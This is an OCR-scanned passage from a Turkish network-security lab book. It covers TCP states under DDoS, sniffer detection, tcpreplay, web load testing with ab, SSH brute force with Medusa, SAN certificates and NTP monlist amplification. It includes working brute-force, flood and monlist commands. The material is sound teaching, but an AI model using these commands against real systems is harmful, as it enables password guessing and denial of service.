18:10:30.012916 IP localhost.smtp > localhost.2072: R 0:0(0) ack 1225157431 win 0

gorulecegi gibi hping de tarama modunda calisirken kaynak port numarasini sabit tutar

ama taramalarda kullandigi window size’i Nmap’den farklidir.

Uygulama No: BGA-UAG-66

Web Sunuculara Yonelik DdoS Saldirilari ve TCP Oturum Detaylari

Amacg: Web sunucularina yapilan DDOS saldirilar sonrasinda TCP oturum detaylarinin
incelenmesi

Internete acik web sunucular i¢in tehdit siralamalarinda ilk siray1 DDOS saldirilar: aliyor.

Cok basit(?) araclarla zahmet ve bilgi gerektirmeden yapilabilmesi, etkisinin yiiksek

olmasi bu saldir1 tiplerini yayginlastiran ana etkenlerden.
Web Sunucunuzun bir DDOS saldirisina karsi oldugunu nasil anlarsiniz?

En basitinden netstat komutunu ¢alistirarak baglanti tablosunu izlenir ve ayniip/random
ip lerden gelen baglantilar incelemeye alinir. Normalde ayni ip adresinden(arkasinda
onarca istemcisi bulunan networkler haric) belirli bir sayidan fazla istek gelmez(siz 10

diyin ben 30 diyeyim). Fazlasi varsa anormal, incelenecek bir durum var demektir.
Nasil incelersiniz?

Incelemeye gecmeden buna sebep olan protokolii ve detaylarina egilelim.
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Kisaca hatirlayacak olursak TCP baglantilar1 bayraklarla(flags) ytiritilir. Bayraklar TCP
baglantilarinda durum belirleme konumuna sahiptir Yani baglantinin baslamasi, veri
transferi, onay mekanizmasi ve baglantinin sonlandirilmasi islemleri tamamen bayraklar

aracihigi ile gerceklesir.

UDP’de ise boyle bir mekanizma yoktur. UDP’de giivenilirliligin(paketlerin onay
mekanizmasi) saglanmasi iist katmanlarda ¢alisan uygulamalar yazilarak halledilebilir.
DNS protokolii UDP araciligi ile nasil giivenilir iletisim kurulacagi konusunda detay bilgi

verecektir.

UNIX/Windows sistemlerde baglantilara ait en detayl bilgi netstat (Network statistics)
komutu ile elde edilir. Netstat kullanarak TCP, UDP hatta UNIX domain socketlere ait tiim

bilgileri edinebiliriz.

UDP icin bir baglanti durum bilgisi olmadigindan dolay1 netstat araciligi ile de fazla bilgi

alamayz fakat

TCP’de baglantiya ait oldukca fazla durum vardir.
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TCP baglantilarinda netstat araciligi ile gorilebilecek durum senaryolar:

CLOSE_WAIT, CLOSED, ESTABLISHED, FIN_WAIT_ 1, FIN_WAIT 2, LAST ACK, LISTEN,
SYN_RECEIVED, SYN_SEND ve TIME_WAIT

Bunlarin neler oldugu ve hangi durumlarda olustugunu irdeleyelim.

SYN_SEND : Hedef sistemle TCP baglantis1 olusturma adimimin ilkidir. Kisaca
SYN bayrakli paket gonderilip buna karsilik cevap bekleme zamaninda portun

alacagi durum.

SYN_RECEIVED: Hedef sistem portu baglanti kurulmasi i¢in gerekli ilk adim olan
SYN paketini almistir.

ESTABLISHED: 3 lii el sikisma tamamlanmis artik taraflar veri transferiyapabilir

durumdadir.
LISTEN: O portun baglanti kabul eder oldugunu belirtir.
tcp4 0 0 *.465 *.* LISTEN
LISTEN moddaki portlari ki bunlar ayn1 zamanda sistemde c¢alisan servisler dir
netstat -ant|grep LISTEN komutu ile elde edebiliriz.
TCP Oturumlarinda baglanti sonlandirma

Oturum sonlandirma her iki tarafinda anlasmasi sonucu tamamlanir. Taraflardan birinin
ilgili bayrakli paketi gondermemesi, ge¢ gondermesi baglantinin saghkli olarak

sonlanmasina engel olur.

Baglanti sonlandirma asamalarinda gesitli durumlar olusur. Bu durumlara ge¢meden bir

TCP baglantisinin nasil kapatildigini inceleyelim.

A ——FIN ——->B
A<—-ACK———B
A <—-FIN———B
A ——ACK———B
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gorllecegi lizere A ve B sistemleri arasindaki baglantiy1 kapatmak icin 4 paket transferi

oluyor. Bu paketleri Wireshark ya da tcpdump ile rahatlikla gérebilirsiniz.

tcpdump ciktisi:

2007-08-13 21:38:57.239126 1P 80.93.212.86.3306 > 88.233.216.57.2175: F
75:75(0) ack 1 win 65535

2007-08-13 21:38:57.292806 1P 88.233.216.57.2175 > 80.93.212.86.3306: . ack
76 win 17446

2007-08-13 21:38:57.295927 IP 88.233.216.57.2175 > 80.93.212.86.3306: F
1:1(0) ack 76 win 17446

2007-08-13 21:38:57.295941 IP 80.93.212.86.3306 > 88.233.216.57.2175: . ack
2 win 65534

Baglanti sonlanmasi esnasinda olusan durumlar:
FIN_WAIT_1:

Baglanti sonlandirmak i¢in islem baslatan taraf(A) hedef sisteme FIN bayrakli TCP paketi
gonderir. Ardindan karsi taraftan(B) ayr1 ayr1 ACK ve FIN bayrakl paketleri bekler . Bu

arada durumunu FIN_WAIT_1 olarak ayarlar.

FIN_WAIT_2:

Baglanti sonlandirma istegini(FIN bayrakl ilk paket) alan taraf(B) bu pakete karsilik
olarak ACK(onay) bayrakli TCP paketi hazirlar ve génderir ve durumunu CLOSE_WAIT’e
alir. Ik FIN bayrakh paketi gonderen taraf(A) ACK paketini aldiginda durumunu
FIN_WAIT_2 olarak ayarlar.

Boylece baglanti sonlandirma isleminin ilk yarisi tamamlanmistir. Diger yarisida saghkl

tamamlandiktan sonra baglanti tamamen sonlanmis olacaktir.

LAST_ACK:
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B tarafi ACK bayrakl paket gonderdikten sonra, kendisinin de baglantiy1 sonlandirmak

istedigini

bildiren FIN bayrakl paket olusturarak A sistemine gonderir ve durumunu LAST_ACK

olarakayarlar.

TIME_WAIT

: A sistemi FIN bayrakl paketi aldiktan sonra buna cevaben ACK bayrakli bir paket

olusturarak
B’ye gonderir ve durumunu TIME_WAIT olarak belirler.

A sistemi TIME_WAIT durumunda son gonderilen ACK bayrakl paketin hedef sisteme(B)

ulastigini

garantilemek i¢in bir miiddet bekler. Bu miiddet eger gereginden fazla(eski tip UNIX
sistemlerde 4 dakikaya kadar ¢ikabiliyor.) ise sisteminizde netstat -an ¢alistirdiginizda

oldukca fazla TIME_WAIT satir1 gorebilirsiniz.

Bu da sistemi gereginden fazla mesgul edecegi i¢cin performans problemleri yasanmasi

kaciilmaz olacaktir.
Ornek bir sistem tizerinde inceleme:

www portuna yapilan bir istek ve istegin sonlanmasi sirasinda netstat ile alinan durum

ciktilarl. Sadece sunucu tarafin1 gosterdigi icin bazi durumlar géziikmemektedir. Istegi

yapan taraf da incelenecek olursa eksik kalan kisimlar tamamlanir.

tcp4 00 80.93.212.86.80 88.233.216.57.2348 SYN_RECEIVED
tcp4 00 80.93.212.86.80 88.233.216.57.2348 ESTABLISHED
tcp4 00 80.93.212.86.80 88.233.216.57.2348 FIN_WAIT_2

tcp4 00 80.93.212.86.80 88.233.216.57.2348 TIME_WAIT

Uygulama No: BGA-UAG-67
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Yerel Aglarda Sniffer Tespit Calismalari

Amag: Yerel Aglarda kullanilan snifferlarin tespit edilmesi

Yerel aglarda sniffer amacli ¢alistirillan hostlar: bulmak i¢in ¢esitli araglar kullanilabilir

hatta python, ruby gibi programlama dillerine hakimseniz bir kac satirda
bu isi yapabilirsiniz(Python ve Scapy kullanarak tek satirda halledilebilir).

Isin biraz detayina inip Sniffer calistiran makinelerin nasil belirlenebilir sorusunu

cevaplayalim.

Agda sniffer olarak calisan makinelerin bulunmasi demek agda promiscious modda

calisan ethernet kartlarina sahip sistemlerin bulunmasi1 demektir.

Kisaca hatirlayacak olursak ethernet kartlari iizerlerinde gomiilii olarak gelen ve MAC

adresiolarak adlandirilan 6 bytelik adrese sahiptir ve yerel aglardaki tiim islemler

icin bu adresler kullanilir. iki host arasinda IP iizerinden haberlesmek istiyorlarsa

oncelikle birbirlerinin MAC adreslerini bilmeleri/6grenmeleri gerekir.
Ethernet kartlarinin calismasinda donanim seviyesinde asagida belirtilen 4 tip
filtreleme etkindir.

Unicast-> Kendi adresine gelen paketler

Broadcast -> Broadcastadresine gelen paketler

Multicast-> uye olunan multicast gruba ait paketler.

Promiscious -> Gelen paketin ne olduguna bakmadan kabul edildigi durum.

bizim burada test edecegimiz mod Promiscious -yani gelen paketin kontrol edilmeden

kabul edildigi durum.

Promiscious modda ¢alisan(Snifferlar) sistemler nasil belirlenir?
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Suphelenilen makineye kendisinin sorgulandigi bozuk broadcast paketleri gonderilir.

Normalde host promiscious modda degilse bu paketleri 6nemsemeyecektir.

Ama eger promiscious modda ise paketin destination’i neresi kontrol etmeden paketi

kabul edecektir ve paketin igerisinde de kendisinin sorgulandigini gérdigi icin
cevaplayacaktir. Boylece biz de o hostta sniffer ¢alisi calismadigin1 anlamis olacagiz.
Basit mantik ama etkili..

Ornek arag olarak scapy kullanalim.

>>> is_promisc(“100.100.100.100", fake_bcast="ff:ff:00:00:00:00")

True

Bu arada agdaki trafigi izlersek asagidaki ¢iktiy1 aliriz.

# tcpdump -i ethO -e -tttnn

000000 00:11:25:44:e8:95 > ff:ff:00:00:00:00, ethertype ARP (0x0806), length 42:

arp
who-has 100.100.100.100 tell 100.100.100.101

003151 00:04:61:47:da:74 > 00:11:25:44:e8:95, ethertype ARP (0x0806), length 60:

arp

reply 100.100.100.100 is-at 00:04:61:47:da:74

Bu ne manaya geliyor?
iki paket var:

ilki bizim bulundugumuz host broadcastten bozma bir adrese 100.100.100.100 adresinin

kim oldugunu sorgulayan ARP paketi gonderiyor.

Diger pakette agda promiscious modda ¢alisan ve 100.100.100.100 adresine sahip adres.

Kefal gibi atlayip bozuk adreslenmis paketimize cevap vermeye calisiyor ve yakalaniyor.
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tim ag teker teker degilde tek seferde sniffer i¢in taramak istersek Scapy’'nin

promiscping fonksiyonunu deneyebilirsiniz.

>>> a=promiscping(“100.100.100.0/24", timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe’)
Begin emission:

*Finished to send 256 packets.

Received 1 packets, got 1 answers, remaining 255 packets

00:04:61:47:da:74 100.100.100.100

***Guncelleme

Windows ortaminda  daha  rahat, kullanisli bir = urun  ariyorsaniz
http://www.securityfriday.com/ adresinden Promiscan aracini(free ve commercial

surumleri var)indirip kullanabilirsiniz.
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Uygulama No: BGA-UAG-68

Kaydedilmis Trafigin Tekrar Oynatilmasi — Tcpreplay

Amag: tcpreplay ile kaydedilmis trafigi tekrar olusturmak ve incelemek
tcpreplay , tcpdump/wireshark gibi araclarla kaydedilmis trafigi tekrar
olusturma/duzenleme icin kullanilan araclar butunudur. Genelde Firewall, switch, router,

IDS/IPS gibi cihazlarin testleri icin kullanilir. Kaydedilmis bir trafigi istedigimiz gibi

duzenleyerek tekrar olusturarak her seferinde farkli trafik

mesela dns trafiginde belirli degerleri analiz eden ve sonuclarina gore aksiyon alan bir
program yazdiniz ve programinizi test etmek istiyorsunuz, her seferinde dns sisteminize
gelecek dns paketlerini beklemek/birilerinin dns sunucusunu kullanmak yerine belirli

miktarda dns paketi yakalayarak(tcpdump vs) bunu tcpreplay ile istediginiz kadar,

degistirerek kullanabilirsiniz.

Tcpreplay 3.0.RC1 surumunu(daha onceki surumlerden tamamen farkli) denemek icin

>>http://tcpreplay.synfin.net/
tcpreplay takimi bilesenleri;

* tcpprep - multi-pass pcap file pre-processor which determines packets as client or

server and creates cache files used by tcpreplay and tcprewrite

* tcprewrite — pcap file editor which rewrites TCP/IP and Layer 2 packet headers
*tcpreplay - replays pcap files at arbitrary speeds onto the network

*tcpbridge - bridge two network segments with the power of tcprewrite

* flowreplay - emulates a network client using a pcap file as the basis of a TCP or UDP

connection (currently in alpha)

Performans testleri icin daha komplike bir program ariyorsaniz Tomahawk

deneyebilirsiniz.
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Uygulama No: BGA-UAG-69

Web Sunuculara Yonelik Performans/DosS testleri

Amag: Web sunucularina yonelik performans testleri
Web sunucularinin performansini élgme amacgh cesitli araglar vardir. Bunlar arasinda

kolay kullanimi ve esnekliginden dolay1 ab(Apache HTTP server benchmarking tool)
dikkat ceker.

Ab her ne kadar Apache projesi olsa da herhangi bir web sunucuyu test etme amach
kullanilabilir. Ab ile gesitli 6zelliklerde HTTP istekleri gondererek sunucunun isleme
kapasitesi olciilebilir. Ab ayn1 zamanda basit bir DOS aracidir, hedef sisteme es zamanh

ylzlerce HTTP GET/POST/HEAD istekleri gondererek web sunucunun cevap veremez

hale gelmesini saglayabilir.

Basit kullanima:

#ab -c 900 -n 1000 http://www.sayfa.com/

This is ApacheBench, Version 1.3d <$Revision: 1.73 XXgt; apache-1.3

Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Copyright (c) 2006 The Apache Software Foundation, http://www.apache.org/
Benchmarking www.sayfa.com (be patient)

Completed 100 requests

Completed 200 requests

Completed 300 requests

Completed 400 requests

Completed 500 requests

Completed 600 requests
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Completed 700 requests

Completed 800 requests

Completed 900 requests

Finished 1000 requests

Server Software: ~ Apache-Coyote/1.1

Server Hostname: www.sayfa.com

Server Port: 80

Document Path: /

Document Length: 4767 bytes

Concurrency Level: 900

Time taken for tests: 6.501 seconds

Complete requests: 1000

Failed requests: 0

Broken pipe errors: 0

Total transferred: 5339849 bytes

HTML transferred: 4893919 bytes

Requests per second: 153.82 [#/sec] (mean)
Time per request: 5850.90 [ms] (mean)

Time perrequest:  6.50 [ms] (mean, across all concurrent requests)
Transfer rate: 821.39 [Kbytes/sec] received
Connnection Times (ms)

min mean[+/-sd] median max

Connect: 7 119 655.6 28 6246
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Processing: 28 405 737.2 69 4144
Waiting: 20 405 737.2 69 4144
Total: 28 5251018.6 101 6419
Percentage of the requests served within a certain time (ms)
50% 101

66% 425

75% 523

80% 602

90% 1192

95% 3197

98% 4177

99% 6236

100% 6419 (last request)

You have new mail in /var/mail/root

Ciktiy1 inceleyecek olursak sayfa istegimiz en hizh 101, en yavas 6419 ms sirmiis.

Saniyede 153 HTTP GET istegi gondermis.

Ab parametreleri:

-n parametresi toplamda ka¢ adet HTTP isteginin gonderilecegini belirler
-k parametresi HTTP baglantilarinin keepalive kurulacagini belirler

-c parametresianlik ka¢ adet HTTP baglantisi kurulacagini belirler

-t parametresi saniye cinsinden testin ne kadar siirecegini belirler

Ab ile sadece HTTP GET degil, POST istekleri de gonderilebilir. Boylece web sayfasi
tzerindeki dinamik alanlar ve dinamik alanlara verisaglayan veritabani performansi da

test edilmis olur.
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#ab -n 1000 -T ‘application/x-www-form-urlencoded’ -p post_me.txt

http://www.sayfa.com/login.aspx

Ek olarak siege, httperf, httping gibi araglar da web sunucu performans testlerinde

kullanilabilir.

Uygulama No: BGA-UAG-70

Medusa — Ag Servislerine Yoénelik Kaba Kuvvet Parola Test Araci

Amag: Medusa araciile network servislerine yonelik brute force denemeleri
Network tizerinden yapilacak brute force denemeleri ici cesitli yazilimlar var. Bunlardan
en giunceli ve 0Ozellik olarak en zengini Medusa’dir. Medusa ve diger bruteforce

yazilimlarinin giincel karsilastirma tablosu icin http://foofus.net/jmk/medusa/medusa-

compare.html adresiincelenmelidir.

Medusa Kurulumu:

#apt-get install medusa //Debian/Ubuntu Linux dagitimlari i¢in

sonrasinda hangi parametreleri aldigini ve yardim menusunu goruntulemek icin komut

satirindan medusa yazilir.

root@elmasekeri:~# medusa
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ALERT: Host information must be supplied.

Medusa’nin moduler yapisi sayesinde bilinen ¢ogu network servisine yonelik bruteforce

denemeleri yapilabilir. Desteklenen modullerin neler oldugunu gormek icin -d

parametresi kullanilir.
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root@elmasekeri:~# medusa -d

Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
Available modules in “.” :

Available modules in “/usr/lib/medusa/modules” :

+ cvs.mod : Brute force module for CVS sessions : version 1.0.0

+ ftp.mod : Brute force module for FTP/FTPS sessions : version 1.3.0
+ http.mod : Brute force module for HTTP : version 1.3.0

+imap.mod : Brute force module for IMAP sessions : version 1.1.0

+ mssql.mod : Brute force module for M$-SQL sessions : version 1.1.1
+ mysql.mod : Brute force module for MySQL sessions : version 1.2
+ncp.mod : Brute force module for NCP sessions : version 1.0.0

+ nntp.mod : Brute force module for NNTP sessions : version 0.9

+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 1.0.2

+ pop3.mod : Brute force module for POP3 sessions : version 1.1.1

Herhangi bir module ait ek parametreler dogrudan ekranda gozukmez. Ilgili module ait

ek parametreleri ogrenmek icin medusa -M modiil_ismi -q parametrelerikullanilir.

root@elmasekeri:~#medusa -M web-form -q

Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

web-form.mod (0.9) Luciano Bello <luciano@debian.org> :: Brute force module for web

forms

Available module options:
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USER-AGENT:? User-agent value. Default: “I'm not Mozilla, I'm Ming Mong”.

FORM:? Target form to request. Default: “/”

DENY-SIGNAL:? Authentication failure message. Attempt flagged as successful if text

is notpresentin

Medusa kullanarak SSH brute force denemesi:

root@elmasekeri:~# medusa -M ssh -m BANNER:SSH-2.0-MEDUSA -h localhost -u
huzeyfe -P wordlist

Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1/1) User: huzeyfe (1/1) Password:a (1/26125)

ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1/1) User: huzeyfe (1/1) Password: aba
(2/26125)

ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1/1) User: huzeyfe (1/1) Password: abaci
(3/26125)

ERROR: Failed to retrieve supported authentication modes. Aborting...
ERROR: No supported authentication methods located.

ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1/1) User: huzeyfe (1/1) Password: abacilik
(4/26125)
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Uygulama No: BGA-UAG-71

Birden Fazla Alan Adi I¢in Tek Sertifika Kullanimi

Amacg:Ayni sertifikanin birden fazla alan adii¢in kullanimi

SSL sertifikalar1 genellikle tek bir tam tanimh alan ad1 (FQDN) icin yayinlanir ve sadece
ilgili FQDN (CommonName alaninda belirtilir) icin kullanilirlar. mail.bga.com.tr i¢in
hazirlanmis bir sertifika www.bga.com.tr i¢in kullanilamaz.

Bazi durumlarda ilgili alan adina ait birden fazla alt alan adi i¢in sertifika alinmasi
gerekebilir. Kurumsal firmalar her bir alt alan ad1 (sub domain) icin yeni bir sertifika
almak yerine tiim alt domainleri kapsayacak sekilde iiretilen "Wildcard" sertifika almay1
tercih eder.

Wildcard sertifikasi ile alanadi kismi (CommonName)*.bga.com.tr seklinde verilir ve tiim
bga.com.tr'li alt domainler i¢in kullanilabilir.

Sertifikadaki * karekteri sayesinde alinan sertifika standart sertifikalardaki gibi tek bir
alan ad1 i¢in degil sinirsi1z sayida alt alan adi igin kullanilabilir olur.

Certificate Hierarchy

¥ Builtin Object Token:Equifax Securt*’ZA
¥ Google Internet Authority
*.google.com.tr

Certificate Fields

¥ *.google.com.tr
¥ Certificate
Version
Serial Number
Certificate Signature Algorithm
Issuer
v Validity
Not Before
Not After
Field Value

Wildcard sertifika ile asagidaki gibi bir alan adina ait tiim alt alan adlari i¢in tek bir
sertifika yeterli olacaktir.
e abga.comtr

e mailbga.com.tr
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e www.bga.com.tr
e netsec.bga.com.tr

Bazi durumda da firmalar birden fazla farkli alan adi icin sertifika almak istemektedir. Bu
durumda her bir alan adi farkh oldugu icin Wildcard sertifika kullanilamaz.

Ornek: Asagidaki alan adlarinin tamamm icerek bir SSL sertifikas1 iiretilmesi talep
edilmektedir.
e bga.com.tr

e netsectr.org

e lifeoverip.net

e siberguvenlik.org
e hackZnet.com

Farkli alan adlarinin tek bir sertifikada olabilmesi i¢in SAN sertifika kullanilmasi gerekir.
SAN (Subject Alternative Name) sertifikalar giinlimiizdeki modern browserlarin tamam
tarafindan desteklenmekte ve birden fazla alan adiicin tek bir sertifika yeterli olmaktadir.

Certificate Hierarchy

¥ Builtin Object Token:Equifax Secure CA
¥ Coogle Internet Authority
*.google.com

Certificate Fields

Extended Key Usage
Certificate Subject Key ID
Certificate Authority Key Identifier
CRL Distribution Points
Authority Information Access
Certificate Basic Constraints
Certificate Subject Alt Name
Certificate Signature Algorithm
Certificate Signature Value
Field Value
{Not Critical

DNS Name: *.google.com kﬁ
DNS Name: *.android.com

DNS Name: *.appengine.goocgle.com
DNS Name: *.cloud.google.com

DNS Name: *.google-analytics.com
DNS Name: *.google.ca

DNS Name: *.google.cl

DNS Name: *.google.co.in

SSL islemleri icin en fazla tercih edilen kiitiphane olan OpenSSL SAN destegi
sunmaktadir.
Asagidaki adimlar kullanilarak birden fazla alan ad i¢in tek bir sertifika istegi liretilebilir.

OpenSSL Kullanaral SAN CSR istegi Olusturma
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openssl req -new -x509 -nodes -config san-openssl.cnf -out /tmp/server.pem -keyout

/tmp/server.key -days 365

Uretilen sertifikay1 kontrol etmek icin asagidaki komut yeterli olacaktr.

root@bt:~# openssl x509 -in /tmp/server.pem -noout -text

Certificate:

Data:

Version: 3 (0x2)

Serial Number:

b6:d6:8e:d2:ab:ea:5c:d8

Signature Algorithm: shalWithRSAEncryption

Issuer: C=TR, ST=Istanbul, L=Altunizade, O=bga.com.tr, OU=WEB server,

CN=*bga.com.tr/emailAddress=postmaster @bga.com.tr
Validity

NotBefore: Feb 9 14:50:38 2013 GMT

Not After : Feb 9 14:50:38 2014 GMT

Subject: C=TR, ST=Istanbul, L=Altunizade, O=bga.com.tr, OU=WEB server,

CN=*Dbga.com.tr/emailAddress=postmaster@bga.com.tr
Subject Public Key Info:

Public Key Algorithm: rsaEncryption

RSA Public Key: (1024 bit)

Modulus (1024 bit):
00:a1:1f:7c:57:ee:0£:68:90:e7:20:23:38:97:e0:

9b:79:48:¢9:1¢:08:a1:32:33:45:ed:76:e8:df:29:
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7f:b6:8f:43:68:f1:5f:aa:9f:3b:bf:40:c4:bc:76:
a4:cc:a5:eb:1a:bd:26:c1:44:10:1e:64:04:f4:17:
c2:2f:43:¢c5:bb:48:f7:cc:a6:ef:c4:b3:b2:£0:12:
85:1e:f9:ab:05:64:78:e7:aa:71:97:38:a3:5a:15:
€0:10:78:4a:a5:77:ec:0a:f8:fb:9d:2f:ab:ef:fb:
d3:28:4¢:72:20:71:9f:b9:d0:c0:e9:6e:27:2a:6c:
f2:d3:af:e6:8d:20:e8:a9:a1

Exponent: 65537 (0x10001)

X509v3 extensions:

Netscape Cert Type:

SSL Server

X509v3 Basic Constraints:

CA:FALSE

X509v3 Key Usage:

Digital Signature, Non Repudiation, Key Encipherment
X509v3 Subject Alternative Name:

DNS:*.bga.com.tr, DNS:hackZnet.com, DNS:lifeoverip.net,
DNS:netsectr.org

Signature Algorithm: shalWithRSAEncryption

10:45:d5:a8:¢5:21:26:7c:bf:50:50:ac:5£:66:b9:69:f0:71:
Oc:3e:9f:3a:62:84:0£:38:9d:39:ae:1¢:95:3b:50:b9:3f:0a:
f0:08:d6:b1:3c:13:d5:af:a6:e8:1e:22:c1:23:bf:77:d3:04:

a6:8a:fc:b5:ce:d8:0a:eb:53:e6:f3:47:d7:ae:f1:04:88:68:

DNS:siberguvenlik.org,
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3e:50:44:97:91:63:d4:2b:2e:d7:19:99:1e:60:aa:62:0a:ba:

ba:b3:81:9b:ef:e7:d3:3a:37:91:88:c1:e0:25:d2:e6:0a:7f:

2b:d6:d9:7a:92:f1:e8:a5:13:05:fb:d7:d3:5d:1d:fa:96:c5:

Olusturulmus SAN Sertifika

Exponent 65537
Key Size 1024 bits
Key Usage Verify, Wrap

Signature 128 bytes : 10 45 D5 A8 C5 21 26 7C ...

Key Usage ( 2.5.29.15 )
Critical NO

Usage Digital Signature, Non-Repudiation, Key
Encipherment

Basic Constraints ( 2.5.29.19)
Critical NO
Certificate Authority NO

Subject Alternative Name ( 2.5.29.17 )
Critical NO
DNS Name *.bga.com.tr
DNS Name hack2net.com
DNS Name lifeoverip.net k
DNS Name siberguvenlik.org
DNS Name netsectr.org

Netscape Certificate Type
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Uygulama No: BGA-UAG-72

NTP Servisi Kullanarak Gergeklestirilen Amplification DDoS Saldirilari

Amag: NTP Servisi kullanilarak Amplification DDOS Saldirilar1 Gergeklestirme

DDoS saldirilar1 her gegen giin 6nemi artiriyor ve yeni yeni yontemler, teknikler
kesfediliyor. Son zamanlarda kullanilan y6ntemler standart ara¢ tabanl yontemlerden
oldukga farkli, arka plani diisiintilmis, tasarlanmis ve yiiksek boyutta olmaktadir. Yeni
olarak nitelendirilse de teknik olarak daha onceden bilinen, teorik olarak dokiimante
edilmis fakat pratigini gérmedigimiz tipte saldirilar bunlar.

2014 yilinda NTP servisindeki monlist 0zelligini istismar eden Amplification DDoS
saldiris1 400 Gbps(2013 yili Tiirkiye internet ¢ikisina yakin) civarinda idi ve bu rakam
diinyadaki en ciddi ddos saldirisi olarak tarihe ge¢cmistir.

Amplification DDoS Saldirilari

Standart DDoS saldirilarinda amag olabildigince ¢ok fazla sayida sistem iizerinden hedef
sistemlere belirli sayida paket gonderimi yaparak devre disi kalmasini saglamaktir.
Amplification tipi saldirilarinda ise trafik kapasitesi yliksek araci sistemler kullanarak
saldirgan sahip oldugu bandwidth miktarindan ¢ok daha fazlasinm1 hedef sisteme
yonlendirir.

Ilk olarak Smurf olarak adlandirilan bir ddos saldirisinda kullanilan bu yéntem hizli bir
sekilde alinan oOnlemlerle internet diinyasinin giindemini uzunca bir siire mesgul
etmemisti. Tekrar 2009 yilinda DNS kullanilarak karsimiza ¢ikti, 2013 yilinda ise DNS
kullanilarak o zamana kadar ki en blylik DDoS saldiris1 (Yaklasik 300 Gbps)
gerceklestrildi. 2014 yilinda NTP ile birlikte 400 Gbps’e ulasmis oldu. Bu rakkamlar ciddi
korumasi ve dagitik altyapisi olmayan erisim saglayicilar igin oldukca tehlikeli ve
onlemesi bir o kadar da zordur.

Smurf saldiris1 broadcast’e gonderilen bir adet ICMP paketine karsilikilgili agda acik olan
tlim sistemlerin cevap vermesi mantigiyla ¢alisir. Boylece hedef broadcast adresinde 100
tane sistem agikca bir paket ile 100 paketlik cevap alinabilir. Gonderilen paketlerin
kaynak ip adresi ddos yapilmak istenen hedef olarak verilirse saldirgan 10 Mbps trafikle
hedefe 1 Gpbs saldir1 trafigi tirtebilir. Burada saldiriya yapan kaynak adresleri ilgili agda
bulunan ve broadcast ICMP paketlerine cevap donen siradan sistemler olacaktir.
Broadcast'e gelen ICMP isteklerine cevap vermeyecek sekilde yapilindirilmasiyla bu
zafiyet hizlica kapatilmistir.

Linux sistemlerin icmp paketlerine (broadcast) cevap verip vermedigi asagidaki komutla
Ogrenilebilir.

sysctl net.ipv4.icmp_echo_ignore_broadcasts
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komutun ¢iktisinin asagidaki gibi olmasi gerekir.
netipv4.icmp_echo_ignore_broadcasts =1

Smurf ICMP kullandig1 icin ve icmp genellikle yardimcr protokol gérevine sahip oldugu
icin ICMP’nin kapatilmasi ile Smurf ve benzeri bir ¢ok atak engellenmis oldu.
Amplification saldirilar1 ICMP’nin yaninda NTP, SNMP ve DNS protokolleri iizerinden de
gerceklestirilebilir. Sonzamanlarda daha ¢ok DNS ve NTP kullanilarak gergeklestirildigini
goruyoruz.

NTP iizerinden gercgeklestirilen amplification ddos saldirilarn

NTP, zaman senkronize protokoliidiir. Bilisim sistemlerinin merkezi olarak zaman
bilgilerini alip giincelleyecegi bir servistir. UDP/123 portundan ¢alisir ve herhangi bir
kimlik dogrulama asamasi bulunmamaktadir.

Oncelikle belirtmek gerekir ki bir protokol UDP tabanli ise onun guvenligini saglamak icin
protokolden iki kat daha fazla uygulama uygulama gelistiricisine is diiser.

Bir NTP sunucusunun durumunu 6grenmek icin asagidaki komut yeterli olacaktir.

[root@s-guard19 ~]# ntpq -pn

remote refid sttwhenpoll reach delay offset jitter

-208.53.158.34 164.244.221.197 2u 266 512 377 20.715 8.447 0.091
+50.116.55.65 200.98.196.212 2u 247 512 377 7.651 -1.170 0.225
+129.250.35.250 209.51.161.238 2u 269 512 377 1.025 -0.229 0.096
*10.0.77.54 172.18.1.12 3u 4371024 377 0.135 0.568 0.522

NTP Monlist 6zelligi ve istismari

ntp sunucular, kendine daha 6nce sorgu yapan ip adreslerini bellekte tutar ve bunu bir
sorgu ile 6grenmemize firsat tanir. Asagidaki komut ile o NTP sunucuyu kullanan son 600
ip adresi alinabilir.

[root@s-guard19 ~]# ntpdc -n -c monlist 50.22.202.163|more
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remote address portlocaladdress countmver code avgint Istint

50.22.202.163 58609 50.22.202.163 272 0 32 0

184.45.66.119 80 50.22.202.163 6972 0 7 0
83.250.130.244 8050.22.202.163 172 0 0 O
199.255.209.211 600550.22.202.163 491472 0 4 O
89.108.86.169 2150.22.202.163 73672 0 4 0
83.108.22.62 8050.22.202.163 7672 0 4 1
141.0.23.147 8050.22.202.163 14072 0 4 2
83.98.143.20 8050.22.202.163 14272 0 4 2
76.76.4.146 8050.22.202.163 257772 0 4 2
85.153.46.92 8050.22.202.163 138372 0 3 2
5.39.114.89 5350.22.202.163 487672 0 2 3

139.216.201.12 8050.22.202.163 2272 0 269 3
207.244.74.132 6005 50.22.202.163 9772 0 4 3
178.235.0.18 8050.22.202.163 3872 0 7 4
184.173.86.203 8050.22.202.163 10572 0 80 8
31.169.77.59 35157 50.22.202.163 972 0 154 22

Burada gonderilen istegin (NTP istegi) boyutu incelenirse yaklasik olarak 250 Byte
civarinda oldugu goziikecektir. Bu pakete donen cevaplarin toplami (bir adet istege karsi
toplamda 10-15 cevap déonmektedir) 7500 Byte’a yakindir. Buradan bir istekle hedef
sistem lizerinden 30 kat daha fazla trafik liretebilecegimizi gérebiliriz.

NTP, UDP tabanlh oldugu icin gonderilecek isteklerde kaynak ip adresi olarak ddos
saldirisi gergeklestirilmek istenen hedef verilirse saldirgan 10 Mbps ile 300 Mbps trafik
tretebilir. Bunun gibi 100lerce acik NTP sunucusu bularak.
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Monlist 6zelligi aktif sistemlerin tespiti
Nmap’in “ntp monlist” scripti kullanarak bir agdaki monlist 6zelligi aktif olan NTP
sunuculari tespit edilebilir.

nmap -sU -pU:123 -Pn -n --script=ntp-monlist 192.168.0.0/24

